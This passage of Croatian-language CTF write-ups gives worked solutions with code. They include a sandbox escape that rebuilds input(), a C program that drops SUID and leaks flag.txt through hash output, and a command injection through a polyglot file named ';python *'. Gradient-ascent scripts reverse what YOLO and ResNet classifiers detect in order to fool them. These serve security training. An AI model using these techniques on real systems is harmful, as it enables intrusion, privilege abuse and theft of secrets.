zahtjeva, ovom tehnikom se može otkriti: (C-1)**N mapiranja ulaznih pozicija u izlazne pozicije, dok je tehnikom kojom je riješen prošli zadatak taj broj bio: (C-1)*N Ilustracija tehnike: Zahtjev 1 - Ulaz: a a a b b b Zahtjev 2 - Ulaz: a b c a b c Zahtjev 1 - Izlaz: b a b a a b Zahtjev 2 - Izlaz: a a c c b b Jedinstvene kombinacije znakova: (b,a) -> ulaz[3] -> izlaz[0] (a,a) -> ulaz[0] -> izlaz[1] (b,c) -> ulaz[5] -> izlaz[2] (a,c) -> ulaz[2] -> izlaz[3] (a,b) -> ulaz[1] -> izlaz[4] (b,b) -> ulaz[4] -> izlaz[5] Kako bi se riješio ovaj zadatak, mogu se napraviti manje preinake nad kodom rješenja prethodnog zadatka: #!/usr/bin/env python3 from pwn import * import sys, string, base64, re HOST = "chal.platforma.hacknite.hr" PORT = 14056 io = remote(sys.argv[1], int(sys.argv[2])) if len(sys.argv) > 2 else remote(HOST, PORT) def query(data): io.sendline(b"2") io.recvuntil(b"Enter sequential data: ") io.sendline(data.encode()) io.recvuntil(b"[CONTINUOUS OUTPUT]\n") return io.recvline().decode().rstrip("\r\n") io.recvuntil(b"> ") io.sendline(b"1") io.recvuntil(b"[CONTINUOUS OUTPUT]\n") target = io.recvline().decode().rstrip("\r\n") io.recvuntil(b"> ") n = len(target) abc = string.ascii_letters + string.digits + string.punctuation b = len(abc) p1 = "".join(abc[i % b] for i in range(n)) p2 = "".join(abc[i // b] for i in range(n)) o1, o2 = query(p1), query(p2) lookup = {(abc[i % b], abc[i // b]): i for i in range(n)} plain = [""] * n for j, (a, c) in enumerate(zip(o1, o2)): plain[lookup[a, c]] = target[j] decoded = base64.b64decode("".join(plain)).decode() print(decoded) print("FLAG:", re.search(r"CTF\S+", decoded).group()) io.close() ====ebg IE==== Zadatak ima više kombinacija koje prihvaća kao točno rješenje. Spoji se na servis naredbom netcat: nc chal.platforma.hacknite.hr 14051 Uz zadatak je dan izvorni kod. Može se vidjeti da skripta koja pokreće zadatak čita unos korisnika i onda ga prosljeđuje s pomoću naredbe ''yes'' u Python skriptu koja se pokreće s pomoću Python2. Sam Python kod je jako neuobičajen i može se primijetiti da čak i na pozicijama koda na kojima dolaze ključne riječi, kao ''if'', ''else'' itd, nalaze se druge nejasne riječi. Ako se pogleda mjesto na kojem bi se strukturalno nalazila ključna riječ ''if'', nalazi se tekst ''vs''. Može se primijetiti da je ovo ''rot13''. Unutar prve dvije linije koda nalaze se komentari koji zapravo definiraju koje kodiranje je korišteno u programu. Na više mjesta su "definirana" različita kodiranja, ali interpretator prihvaća samo jednu definiciju: coding :ascii pbqvat: ebg13 coding: rot13 # coding: UTF-8 pbqvat: pc500 definicija koja postavlja ''ASCII'' je krivo definirana zbog razmaka između dvotočke i ''coding'', ''UTF-8'' je dobro definiran, ali se ne koristi jer je zapravo, iznenađujuće, ''rot13'' kodiranje prihvaćeno i definirano prije. Ovo kodiranje radi ''rot13'' nad svim slovima programa osim onih koja se nalaze u stringovima. Ako se primijeni ''rot13'' na takav način nad kodom, ''pbqvat: ebg13'' će opet postati ''coding: rot13'' što bi spriječilo izvršavanje programa pa se taj dio mora maknuti iz koda. Nakon toga se može dobiti čitljiviji oblik koda: k =r ="riny" n =False =False ==False ==False *False h =a =eval ("n")*n *len (eval ("k")) q =(`a `+"vachg"*a )[a *a :];m =raw_input () s =eval ("`input`")+`eval ("()")` f =eval ("s") raw_ ="false"; snyfr =(k for k ,v in globals ().iteritems ()if v is raw_ ).next () if not eval ("r"): Input =input (n )*n pass ; d =r =-eval (n ) input =Input (n )/n def l (n ,snyfr ): while snyfr : n ,snyfr =snyfr ,n %snyfr return n e =eval ('k+("a")')[:-1 ];r =eval e =r ("e+('()')");f =(r (r ("snyfr")+f [--n --r (`n `)+r ("a")*r ("a")+n :-3 *n ])()*n );eval =e f =int (r ("f")) o =[`f `+" a "*-n ,`n `+" e(a) ",`r ("a")`] exec ('vachg = `r` + e; d="e(q)" ') exec ('r =r("r")');q *=-n *n ;pass ;#d = input() hkf =x =`(r (' `((r))` '))`[-r ("a")*--2 +--1 :--++-r ("a")/4 ---True ];d =```r (`d `)```[1 :-1 ]; eval =r ;m =(e [:-1 ]+(str ("'x'"))+e [-1 ]) z =(e [:-1 ]+r ('r("a*k")')+e [-1 ]) exec ("z=`d`;x=d") vachg +=`r (hkf )`*n +q def y (vachg ): return r ("l")((int (vachg )-1 )*(int (vachg )+1 ),len (o )*(len (`vachg `)/3 )) k +=`r ("x")*True `+`r ('m')`*-++True if n ==False or (r (r ("x")*`r ("('(`e`)')")`)!=e )==False : k =k [r ("a"):]*n f =o [not n ] elif n ==True : rkrp =riny f =o [n ] else : riny =rkrp f =o [-n ] try : s =r (r ("f")[int (`int (r ("f"))`[False ])])--n except : False =[int (`int (r ("f"))`[int (min (str (s )))])] finally : o +=[s ,False ,eval ("o")] for v in range (s --n --n ): z =o [v ---n ---n ] o =o [s ] q =len (o [z ]);raw_ =raw_input () z =`f `[q ] raw_ =r (o [2 *n ]+`o [3 *-n ]`)/r (`len (vachg )`[::-1 ]); Print =[all (n %v for v in (7 ,3 ,2 ,5 ))for n in (r (`raw_ `+z ),r (z +`raw_ `))] if not ((r (raw_ +z )/v for v in (3 ,2 ,7 ,5 ,1 ,4 ,8 ))and (r (z +raw_ )//d for d in (2 ,1 ,9 ,0 ,5 ,3 ,7 ))): o +=o ,z [raw_ ],Print if r (`1 =='1'`): n =`n `+`o [0 ]`[r ('v')] if not (Print [z ==k ]and (Print [k ==`d `]==Print [`d `==```f ```])): q =vachg () if `1 =='1'`: vag =int (o [2 ])+o [3 ]+v n =r ("y")(int (n [int (n [False ])-False ])) if len (`f `)-2 !=n /4 : o [vag /3 ]() if len (r (`d `))==len (r (k )): n /=2 if not (int (r ("f")[-len (`d `)/2 :-len (r (k )):-False ])==vag *2 ): n +=2 if not (o [-2 ]==o [1 ]): d (d ) z =(n ==int (f [6 :4 :-1 ])) if not (int (f [z ])*3 ==int (f [-z ])+int (f [z -1 ])): exit () z +=(f [3 ]==f [-3 ]) nod =int (f [z -1 ])/2 if not (nod *nod ==int (f [-z ])): rkvg () m1 =int (min (r ("f"))) m2 =int (max (f )) m3 =int (f [len (f )-z ]) p1 =int (f [z ]) p2 =int (f [p1 ]) p3 =int (f [p2 ]) p4 =int (f [p3 ]) p5 =int (f [p4 ]) for q in r ("f"): m3 +=int (q ) k =[(m3 %10 <=5 ),(p4 ==m1 ),(p1 +p2 ==m2 ),(p3 *p3 ==m2 ),(p3 *2 ==p5 ),(p2 +p1 ==int (f [-z ])),] for c in k : z +=c if r ("z")>=7 : print ("You Win!") kod odmah na početku ima liniju n =False =False ==False ==False *False koja postavlja ''False'' u ''True'' u daljnjem izvršavanju programa, što je moguće u verziji 2 Pythona. Korisnički unos se čita na tri mjesta (ali skripta koja pokreće program za sva tri šalje istu vrijednost koju je korisnik unio). Samo jedan od ta tri unosa se dalje koristi u kodu te je potrebno pratiti kako se taj unos dalje koristi kroz kod. Za krive korisničke unose program baca grešku pa je potrebno pronaći korisnički unos za koji će se skripta izvršiti do kraja bez stvaranja greške. Jedna od tehnika koju je potrebno koristiti je referenciranje liste unutar same sebe, kako bi se moglo više puta referencirati element podliste koji pokazuje na samu listu: >>> a=[1,2,3] >>> a.append(a) >>> a [1, 2, 3, [...]] >>> a[3] [1, 2, 3, [...]] >>> a[3][3] [1, 2, 3, [...]] >>> a[3][3][3][3][3][3] [1, 2, 3, [...]] Načinom na koji kod koristi korisnički unos može se zaključiti da korisnički unos mora biti broj duljine 12 znamenki. Na kraju se može pronaći da oblik rješenja koji zadovoljava sve uvjete je tipa: 65X03420Y719 gdje ''X'' i ''Y'' mogu biti više različitih vrijednosti. Jedno od rješenja je ''654034276719''. ====Cheesy Quine==== Opustite se uz Cheesy Quine! Spoji se na servis naredbom netcat: nc chal.platforma.hacknite.hr 14050 Uz zadatak je dan izvorni kod. Program uzima korisnički unos, izvršava ga unutar vrlo ograničenog okruženja. Potom se provjerava je li rezultat izvršavanja string i nalazi li se u njemu znak ''a'' ili ''b'' i u tom slučaju se rezultat izvršavanja koda ponovno izvršava kao kod. Ovo se ponavlja unutar petlje 30 puta i ako se uspije izvršiti 30 iteracija onda se ispisuje flag. Može se primijetiti da se pri izvršavanju koristi dvostruka evaluacija: to_eval = eval(str(eval(to_eval, sandbox, {}))) Zadatak na prvi pogled izgleda kao da je potrebno napisati kod čiji se rezultat uzastopno može izvršavati barem 60 puta. No postoji drugačije rješenje, a to je da se korištenjem dopuštenih funkcionalnosti unutar okruženja "sastavi" i pozove funkcija ''input''. Duljina unosa smije biti do 40 znakova pa se mora s pomoću funkcija ''chr'' (''a''), ''ord'' (''b'') i ''str''(''c'') na što kraći način sastaviti i pozvati funkcija za korisnički unos. Jedna od tehnika koja se koristi za stvaranje znakova zagrade ''()'' za pozivanje funkcije je: >>> c=str >>> c(()) '()' slova u nazivu funkcije ''input'' mogu se jednostavno konstruirati korištenjem funkcije ''chr'' (''a''). >>> c=str >>> a=chr >>> a(105)+a(110)+a(112)+a(117)+a(116)+c(()) 'input()' Ako se ovo pošalje kao unos zadatka, moći će se unijeti novi korisnički unos i jedna iteracija petlje će biti izvršena. Kao korisnički unos se ponovno može unijeti isto kako bi se ponovno pozvao ''input'' i to se može raditi neograničeno puta. Kako bi se riješio zadatak potrebno je 30 puta unijeti isti unos: a(105)+a(110)+a(112)+a(117)+a(116)+c(()) ====Hashtraction==== Pošaljite svoj custom hashing program na hash benchmark! http://chal.hacknite.hr:20002/ Uz zadatak je dan izvorni kod. U zadatak se učitava binarna izvršna datoteka implementacije hashing algoritma koji se potom testira i provjerava. Moraju biti zadovoljeni uvjeti da program za svaki unos ispiše jedan izlaz koji mora biti: 1. Heksadecimalan tekst duljine točno 64 znaka 2. Determinističan, isti unos daje isti izlaz 3. Razumno otporan na sudare, da ne bude detektiran isti izlaz za dva ulaza Pri izvršavanju, spuštaju se prava korisnika s pomoću SUID-a koji se inače koristi za privremeno podizanje privilegija na višeg korisnika. Umjesto toga, privilegije se postavljaju na korisnika ''suiduser'' koji je restriktiran i ne može pročitati flag. No program pri izvršavanju može maknuti ''SUID'' i nastaviti izvršavanje kao korisnik ''player'' koji ima dozvolu pročitati flag.txt. setreuid(getuid(), getuid()); Kako bi se flag pročitao i ispisao, mora se eksfiltrirati kroz ispise hash vrijednosti na takav način da su svi uvjeti za hash algoritam i dalje zadovoljeni. Tako se prvi dio hash vrijednosti može koristiti za enkodiranje pročitanog flaga, a drugi dio hash vrijednosti osigurava potrebna svojstva, kako program ne bi bio odbačen, nego se izvršava i flag se može pročitati. Kod koji se može kompajlirati u izvršnu datoteku koja nakon učitavanja na server i izvršavanja ispisuje flag kao hex vrijednost: #include #include #include #include int main(int argc, char *argv[]) { // Drop SUID privileges setreuid(getuid(), getuid()); char flag[23] = {0}; FILE *f = fopen("/home/player/flag.txt", "r"); if (f != NULL) { fread(flag, 1, 23, f); fclose(f); } // Print the flag as Hex (46 Hex Characters) for (int i = 0; i < 23; i++) { printf("%02x", (unsigned char)flag[i]); } // end bytes -> XOR every character of the input unsigned char hash[9] = {0}; if (argc > 1) { int len = strlen(argv[1]); for(int i = 0; i < len; i++) { // XOR each character into one of the slots hash[i % 9] ^= argv[1][i]; } } // Print hash as Hex (18 Hex Characters, Total = 64) for (int i = 0; i < 9; i++) { printf("%02x", hash[i]); } printf("\n"); return 0; } ====Math AlgoBenchmarker==== Uploadajte svoj algoritam na benchmark za računanje moving averagea. Izvršava se unutar našeg strogog i sigurnog sandboxa. http://chal.hacknite.hr:20003/ Uz zadatak je dan izvorni kod. Na poslužitelj se šalje binarna izvršna datoteka koja se prvo testira a potom izvršava. Kada se konstruira naredba za izvršavanje datoteke, moguće je napraviti **command injection** kroz ime datoteke: # EXECUTION cmd = ( "python /app/generate_data.py | " f"/usr/bin/sudo -n -u nobody ./{fname}" ) _exec_rc, exec_output = run_limited( ["/bin/sh", "-c", cmd], cwd=workdir, env={"PATH": "/usr/local/bin"}, timeout=5, ) Kako bi se riješio zadatak potrebno je kao datoteku na poslužitelj učitati **polyglot** datoteku koja je istovremeno i Python kod i binarna ELF datoteka. To je moguće napraviti radi Pythonove implementacije **PEP 441** prijedloga za poboljšanje izvršavanja aplikacija unutar ''zip'' arhive. Python može direktno izvršavati kod koji se nalazi u **__main__.py** datoteci unutar **zip** arhive. U tom slučaju Python čita datoteku od kraja, a zanemaruje bilo kakav sadržaj koji se pronađe "iznad" parsirane zip arhive s kodom. Ova polyglot tehnika je detaljnije objašnjena u sljedećem writeupu zadatka **Math ScriptBuilder**. Kada se datoteka izvršava kao binarna izvršna datoteka, tada se čita od početka a bilo kakav sadržaj dodan na "kraj" datoteke se zanemaruje. Zato se može konstruirati polyglot datoteka strukture: ELF: Kompajlirani C kod Python: ZIP (__main__.py) U fazi testiranja poslane datoteke, konstrukcija naredbe nije ranjiva, tako da će se sigurno izvršiti binarna izvršna datoteka, koja mora zadovoljiti provjeru kako bi se prešlo u fazu izvršavanja, u kojoj je preko imena datoteke moguće izvršiti command injection Datoteka se treba nazvati na takav način da sama sebe pokrene s pomoću Pythona: ;python * Točka-zarez završava prethodnu naredbu, a potom se poziva Python i kao datoteka koja se izvršava se stavlja wildcard ''*'' znak. Wildcard će se proširiti na jedinu datoteku u direktoriju, odnosno na samu tu datoteku, tako da imenom datoteke ona sama sebe pokreće s pomoću Pythona. C kod ''avg.c'' koji se kompajlira u izvršnu datoteku poliglota: #include int main() { int count = 0; int sum = 0; int num; while (scanf("%d", &num) == 1) { sum += num; count++; } if (count > 0) { printf("Average: %.2f\n", (float)sum / count); } else { printf("Average: 0.00\n"); } return 0; } Python datoteka ''__main__.py'' koja čita i ispisuje flag: import os print("--- Python Polyglot Exe ---") try: with open("/app/flag.txt", "r") as f: print("FLAG:", f.read()) except Exception as e: print("Error reading flag:", e) Bash skripta koja iz prethodnih dviju datoteka gradi polyglot: #!/bin/bash echo "[*] Compiling avg.c..." # Compile gcc avg.c -o temp_elf echo "[*] Zipping __main__.py..." # Zip Python payload zip -q temp_payload.zip __main__.py echo "[*] Creating the polyglot" # Concatenate ELF and ZIP # wrap filename in quotes (prevent expansion / evaluation) cat temp_elf temp_payload.zip > ";python *" echo "[*] Cleaning up tmp build files..." rm temp_elf temp_payload.zip echo "[+] The payload is built:" ls -la ";python *" Izgrađenu datoteku je potrebno učitati na poslužitelj kako bi se flag pročitao i ispisao. ====Math ScriptBuilder==== Rješenje zadatka dostupno je ovdje: [[mathscriptbuilder|CTF writeup - Math ScriptBuilder]] ======Sigurnost Umjetne Inteligencije====== ====Unknown Image Detection Model 1==== Trenirali smo model da prepoznaje nešto na slikama, ali smo zaboravili za što smo ga točno trenirali! Možete li otkriti za što je model treniran i dobiti flag? http://chal.platforma.hacknite.hr:14039/ Uz zadatak je dan izvorni kod. Potrebno je uploadati PNG sliku traženog formata za koju će izračunata vrijednost ''visual structure score'' biti veća od ''7.5 / 10'' kako se slika ne bi odbacila. Nakon toga se slika šalje ''YOLO'' (__You Only Look Once__) modelu za detekciju i klasifikaciju objekata. Potrebno je da model detektira traženi objekt na slici s 90% sigurnosti. Problem je što nije poznato što model traži. Kako bi se riješio zadatak, može se koristiti automatizirana skripta koja iterativno generira slike te nad njima izvršava i skriptu za izračun vrijednosti vizualne strukture i pokreće model nad slikama. Tako se traži i otkriva koji oblici i atributi rezultiraju većim traženim vrijednostima. Druga tehnika je **gradient ascent**, gdje se optimiziraju vrijednosti piksela ulazne slike kako bi se maksimizirala aktivacija neurona modela. Na temelju funkcija neurona modela u odnosu na vrijednosti piksela, derivacijom se pronađe na koji način mijenjanje piksela slike najviše povećava aktivaciju neurona. Ovako se pronalazi gradijent, vektor koji pokazuje smjer najvećeg povećanja aktivacije neurona. Nakon toga se slika iterativno generira u skladu s pronađenim gradijentom, "penjući" se postupno prema najvišoj aktivaciji. Rezultirajuća slika je često mutna i nejasna pa se mogu koristiti dodatne tehnike pri generaciji slike kako bi bilo jasnije što je traženi objekt. Kako bi se smanjila pojava više detektiranih objekata, kojima se rubovi mogu preklapati i učiniti sliku nejasnijom, može se koristiti dodavanje prosjeka sigurnosti svih detekcija objekata kao negativnog doprinosa rezultatu pojedine iteracije uz maksimiziranje detekcije s najvećom sigurnošću. Time se postupak generacije slike usmjerava da generira samo jedan objekt za kojeg je sigurnost detekcije jako visoka, dok se ostale pojave sa slabijom detekcijom potiskuju. Također se mogu koristiti i tehnike **jittering** i **zamućivanje slike uz postupno smanjivanje intenziteta**. Slika se u svakoj iteraciji nasumično pomiče za nekoliko piksela te se na pomaknutoj slici računa gradijent. Tako se smanjuju artefakti, odnosno neželjene lokalizirane strukture na točno određenim dijelovima slike koje zbog svoje prostorne pozicije povećavaju sigurnost modela, a ne doprinose prepoznatljivosti traženog objekta (prepoznatljivosti u smislu da je čovjeku jasno što taj objekt predstavlja). Ovako se potiče da se sigurnost detekcije objekta temelji na njegovim karakteristikama bez obzira na njegovu poziciju na slici, odnosno smanjuje se osjetljivost na točan položaj pojedinih struktura na slici. Zamućivanje se snažnije koristi pri prvim iteracijama te se naknadno postupno smanjuje kako bi generirana slika u ranijim iteracijama bila mutnija, čime se potiče definiranje općenitog oblika objekta, a u kasnijim iteracijama postaje oštrija kako bi se jasnije vidjele granice traženog objekta nakon što je oblik već "ustanovljen". Bash skripta za postavljanje virtualnog okruženja: #!/bin/bash set -e echo "==========================================" echo " YOLO environment setup" echo "==========================================" cd "$(dirname "$0")" if [ ! -d ".venv" ]; then echo "Creating virtual environment..." python3 -m venv .venv else echo "Virtual environment already exists." fi source .venv/bin/activate echo "Using Python:" python --version echo echo "Upgrading pip..." python -m pip install --upgrade pip echo echo "Installing compatible packages..." python -m pip install --upgrade \ "numpy<2" \ ultralytics \ opencv-python echo echo "Testing installation..." python -c " import numpy import cv2 import ultralytics print('NumPy:', numpy.__version__) print('OpenCV:', cv2.__version__) print('Ultralytics:', ultralytics.__version__) print() print('Everything is installed correctly!') " echo echo "==========================================" echo " Setup complete!" echo "==========================================" Python skripta za generiranje slike objekta koji je model treniran da prepoznaje: import torch import torch.nn as nn import torch.optim as optim import cv2 import numpy as np from ultralytics import YOLO # 1. Load the model model_wrapper = YOLO('model.pt') model = model_wrapper.model model.eval() # 2. Parameters img_size = 416 iterations = 2000 input_image = torch.randn(1, 3, img_size, img_size).mul(0.1).add(0.5).requires_grad_(True) optimizer = optim.Adam([input_image], lr=0.05) def total_variation_loss(img): tv_h = torch.pow(img[:,:,1:,:] - img[:,:,:-1,:], 2).sum() tv_w = torch.pow(img[:,:,:,1:] - img[:,:,:,:-1], 2).sum() return (tv_h + tv_w) for i in range(iterations): optimizer.zero_grad() # Forward pass output = model(input_image)[0] # --- 1.st class --- scores = output[0, 4, :] max_score = scores.max() suppression_loss = scores.mean() # Force stronger color (maximize diff between R,G,B) r, g, b = input_image[0, 0], input_image[0, 1], input_image[0, 2] color_variance = torch.var(torch.stack([r, g, b]), dim=0).mean() # Primary Loss # Subtract max_score (maximize it) and subtract color_variance (maximize it) class_loss = -max_score + (suppression_loss * 0.5) color_loss = -color_variance * 2.0 # "Force" the model to show its preferred color # General Regularization tv_loss = total_variation_loss(input_image) * 0.00001 l2_loss = torch.norm(input_image) * 0.001 total_loss = class_loss + color_loss + tv_loss + l2_loss # Find gradient total_loss.backward() optimizer.step() # --- DECAYED BLURRING --- with torch.no_grad(): input_image.clamp_(0, 1) # Slower blur decay if i < 600: k, s = 9, 4 elif i < 1100: k, s = 5, 2 elif i < 1600: k, s = 3, 1 else: k, s = 0, 0 if k > 0 and i % 10 == 0: input_image.data = torch.nn.functional.avg_pool2d( input_image.data, kernel_size=k, stride=1, padding=s ) if i % 100 == 0: print(f"Iter {i} | Conf: {max_score.item():.4f} | Color Var: {color_variance.item():.4f}") # Output final_img = input_image.detach().squeeze().permute(1, 2, 0).numpy() final_img = (final_img * 255).astype(np.uint8) final_img = cv2.cvtColor(final_img, cv2.COLOR_RGB2BGR) cv2.imwrite("reverse_attempt.png", final_img) Korištenjem opisane tehnike može se vidjeti da se na generiranoj slici pojavljuje zeleni krug. Ako generirana slika ne zadovoljava uvjet minimalne vrijednosti ''visual structure score'', može se ručno generirati slika zelenog kruga na crnoj pozadini i poslati, nakon čega je zadatak riješen. ====Unknown Image Detection Model 2==== Ne zna se što točno model klasificira kao "FLAG", možete li otkriti? Izvorni kod zadatka: https://ferhr-my.sharepoint.com/:u:/g/personal/mbunic_fer_hr/IQCMbl8Xz86XR6JI2z1WZiaGAcGEZYrk_2dEmQ37TZjpEXs?e=REAI3Y http://chal.platforma.hacknite.hr:14040/ Uz zadatak je dan izvorni kod. Zadatak je vrlo sličan prošlom, razlika je što se ne koristi ''YOLO'' model, nego ResNet klasifikacijski model. Također, ovaj model ima 4 definirane klase, pri čemu se svaka slika svrstava u jednu od tih klasa, ovisno o tome koja za koju klasu je detektirana najviša sigurnost. Kako bi se zadatak riješio, potrebno je poslati sliku koja će se detektirati kao klasa ''FLAG'' s barem 90% sigurnosti. Jedna od prepreka je to što se na poslužitelj ne mogu slati slike direktno, nego se šalje JSON iz kojeg se na strani poslužitelja konstruira slika koja se potom daje modelu na klasifikaciju. Na stranici zadatka je dostupno sučelje za izradu slike koje automatski napravljenu sliku šalje kao JSON na server gdje se ista slika rekonstruira. U ovom zadatku traženi je objekt značajno kompleksniji od zelenog kruga, a slika koja bi se dobila s pomoću tehnike ''gradient ascent'' ne može se direktno poslati, nego je potrebno rekonstruirati njezin zapis u JSON formatu koji se šalje pa je potrebno dobro detektirati što model ''FLAG'' predstavlja. Skripta koja također koristi ''gradient ascent'' i dodatne tehnike za povećanje jasnoće generirane slike: #!/usr/bin/env python3 import argparse from pathlib import Path import cv2 import numpy as np import torch import torch.nn as nn import torch.nn.functional as F from torchvision import models # ============================================================ # Configuration # ============================================================ IMAGE_SIZE = 224 ITERATIONS = 1250 RESTARTS = 1 LEARNING_RATE = 0.05 # Regularization TV_WEIGHT = 0.00002 L2_WEIGHT = 0.0005 HIGH_FREQ_WEIGHT = 0.00005 # How often to save progress SAVE_EVERY = 250 OUTPUT_DIR = Path("reverse_output") DEVICE = torch.device("cpu") # ============================================================ # ImageNet normalization # defined in app.py (used by pretrained models, ResNet18 ) # ============================================================ IMAGENET_MEAN = torch.tensor( [0.485, 0.456, 0.406] ).view(1, 3, 1, 1) IMAGENET_STD = torch.tensor( [0.229, 0.224, 0.225] ).view(1, 3, 1, 1) # ============================================================ # Helpers # ============================================================ def normalize_image(x): mean = IMAGENET_MEAN.to(x.device) std = IMAGENET_STD.to(x.device) return (x - mean) / std def total_variation_loss(img): """ -> neighboring pixels should be similar. """ vertical = img[:, :, 1:, :] - img[:, :, :-1, :] horizontal = img[:, :, :, 1:] - img[:, :, :, :-1] return ( vertical.pow(2).mean() + horizontal.pow(2).mean() ) def high_frequency_loss(img): """ -> discourage very high-frequency patterns. classifier can otherwise exploit tiny pixel-level structures (imperceptible to humans). """ blurred = F.avg_pool2d( img, kernel_size=3, stride=1, padding=1, ) return (img - blurred).pow(2).mean() def random_jitter(img, amount=8): shift_x = torch.randint( -amount, amount + 1, (1,), device=img.device, ).item() shift_y = torch.randint( -amount, amount + 1, (1,), device=img.device, ).item() return torch.roll( img, shifts=(shift_x, shift_y), dims=(2, 3), ) def save_image(tensor, path): image = ( tensor.detach() .clamp(0, 1) .squeeze(0) .permute(1, 2, 0) .cpu() .numpy() ) image = (image * 255).astype(np.uint8) # RGB -> BGR for OpenCV image = cv2.cvtColor( image, cv2.COLOR_RGB2BGR, ) cv2.imwrite( str(path), image, ) def load_model(checkpoint_path): print("=" * 70) print("Loading model") print("=" * 70) checkpoint = torch.load( checkpoint_path, map_location=DEVICE, ) class_names = None if isinstance(checkpoint, dict): if "model_state_dict" in checkpoint: state_dict = checkpoint["model_state_dict"] class_names = checkpoint.get("class_names") else: state_dict = checkpoint else: raise ValueError( "Unsupported format." ) # -------------------------------------------------------- # Determine output size from fc.weight # -------------------------------------------------------- fc_weight = state_dict.get("fc.weight") if fc_weight is None: raise ValueError( "Could not find 'fc.weight'." ) num_classes = fc_weight.shape[0] print(f"Classes : {num_classes}") if class_names: print(f"Class names : {class_names}") model = models.resnet18( weights=None ) model.fc = nn.Linear( model.fc.in_features, num_classes, ) model.load_state_dict( state_dict ) model.eval() model.to(DEVICE) # Disable gradients for model parameters. for parameter in model.parameters(): parameter.requires_grad_(False) print("Model loaded successfully.") print() return model, class_names # ============================================================ # Activation maximization # ============================================================ def optimize_class( model, class_index, class_name, output_dir, model_name ): """ -> maximize the selected class. """ print(model_name) print() print("=" * 70) print( f"Optimizing class {class_index}: {class_name}" ) print("=" * 70) best_score = -float("inf") best_image = None for restart in range(1, RESTARTS + 1): print() print( f"Restart {restart}/{RESTARTS}" ) # ---------------------------------------------------- # Starting image # # Start close to gray rather than random noise. # ---------------------------------------------------- image = ( torch.randn( 1, 3, IMAGE_SIZE, IMAGE_SIZE, device=DEVICE, ) * 0.15 + 0.5 ) image = image.clamp(0, 1) image.requires_grad_(True) optimizer = torch.optim.Adam( [image], lr=LEARNING_RATE, ) restart_best_score = -float("inf") restart_best_image = None for iteration in range( 1, ITERATIONS + 1, ): optimizer.zero_grad() # ------------------------------------------------ # jitter # ------------------------------------------------ jittered = random_jitter( image, amount=8, ) # ------------------------------------------------ # input normalization # ------------------------------------------------ model_input = normalize_image( jittered ) # ------------------------------------------------ # Forward pass # ------------------------------------------------ logits = model( model_input ) target_logit = logits[ 0, class_index, ] # Encourage differentiation relative to other classes. other_logits = torch.cat( [ logits[:, :class_index], logits[:, class_index + 1:], ], dim=1, ) if other_logits.shape[1] > 0: competing_logit = other_logits.mean() class_objective = ( target_logit - competing_logit ) else: class_objective = target_logit # ------------------------------------------------ # Regularization # ------------------------------------------------ tv = total_variation_loss(image) l2 = ( image - 0.5 ).pow(2).mean() hf = high_frequency_loss(image) # ------------------------------------------------ # Total loss # ------------------------------------------------ loss = ( -class_objective + TV_WEIGHT * tv + L2_WEIGHT * l2 + HIGH_FREQ_WEIGHT * hf ) loss.backward() optimizer.step() # ------------------------------------------------ # Keep valid pixel range # ------------------------------------------------ with torch.no_grad(): image.clamp_(0, 1) # ------------------------------------------------ # Track best candidate # ------------------------------------------------ score = target_logit.item() if score > restart_best_score: restart_best_score = score restart_best_image = image.detach().clone() if score > best_score: best_score = score best_image = image.detach().clone() # ------------------------------------------------ # Progressive blur # Strong early, gradually relax # ------------------------------------------------ if iteration % 10 == 0: if iteration < 500: kernel = 9 elif iteration < 1000: kernel = 7 elif iteration < 1600: kernel = 5 elif iteration < 2100: kernel = 3 else: kernel = 0 if kernel > 0: with torch.no_grad(): padding = kernel // 2 image.copy_( F.avg_pool2d( image, kernel_size=kernel, stride=1, padding=padding, ) ) # ------------------------------------------------ # Progress # ------------------------------------------------ if iteration == 1 or iteration % 100 == 0: probabilities = torch.softmax( logits, dim=1, ) probability = probabilities[ 0, class_index, ].item() print( f"\r" f"Iteration " f"{iteration:4d}/{ITERATIONS} | " f"Logit: {score:9.4f} | " f"Prob: {probability * 100:7.3f}% | " f"TV: {tv.item():.5f}", end="", flush=True, ) # ------------------------------------------------ # Save intermediate # ------------------------------------------------ if iteration % SAVE_EVERY == 0: path = ( output_dir / f"class_{class_index}" / f"restart_{restart}_{model_name}" / f"iteration_{iteration:04d}.png" ) path.parent.mkdir( parents=True, exist_ok=True, ) save_image( image, path, ) print() # ---------------------------------------------------- # Save best result # ---------------------------------------------------- restart_path = ( output_dir / f"class_{class_index}" / f"restart_{restart}_best.png" ) save_image( restart_best_image, restart_path, ) print( f"Restart best score: " f"{restart_best_score:.4f}" ) # -------------------------------------------------------- # Save global best # -------------------------------------------------------- final_path = ( output_dir / f"class_{class_index}_BEST.png" ) save_image( best_image, final_path, ) print() print( f"BEST activation: {best_score:.6f}" ) print( f"Saved to: {final_path}" ) return best_image, best_score def main(): parser = argparse.ArgumentParser( description=( "activation-maximized gen images " "ResNet classifier." ) ) parser.add_argument( "model", help="Path to .pt model/checkpoint", ) parser.add_argument( "--output", default="reverse_output", help="Output directory", ) args = parser.parse_args() model_name = args.model.split(".")[0] global OUTPUT_DIR OUTPUT_DIR = Path(args.output) OUTPUT_DIR.mkdir( parents=True, exist_ok=True, ) # -------------------------------------------------------- # Load model # -------------------------------------------------------- model, class_names = load_model( Path(args.model) ) # -------------------------------------------------------- # class names # -------------------------------------------------------- num_classes = model.fc.out_features if class_names is None: class_names = [ f"class_{i}" for i in range(num_classes) ] # -------------------------------------------------------- # Optimize every class # -------------------------------------------------------- results = [] for class_index in range(num_classes): name = class_names[class_index] image, score = optimize_class( model=model, class_index=class_index, class_name=name, output_dir=OUTPUT_DIR, model_name=model_name ) results.append( ( class_index, name, score, ) ) # -------------------------------------------------------- # Summary # -------------------------------------------------------- print() print("=" * 70) print("ACTIVATION MAXIMIZATION COMPLETE") print("=" * 70) for class_index, name, score in results: print( f"Class {class_index}: " f"{name:<20} " f"best logit = {score:.6f}" ) print() print( f"Images saved in: " f"{OUTPUT_DIR.resolve()}" ) if __name__ == "__main__": main() Pokretanjem ove skripte dobiva se uzorak nalik cvijetu ili leptiru koji se potom može nacrtati u dostupnom sučelju na stranici zadatka kako bi se riješio zadatak. ====Unknown Image Detection Model 3==== Imate na odabir dostupna 3 modela koji su svi vrlo slični, trenirani su s istom raspodjelom klasa i s istom namjenom, no s različitim varijacijama broja epoha i podataka za treniranje. Ako za bilo koji model zadovoljite traženu kombinaciju, riješili ste zadatak. Izvorni kod zadatka: 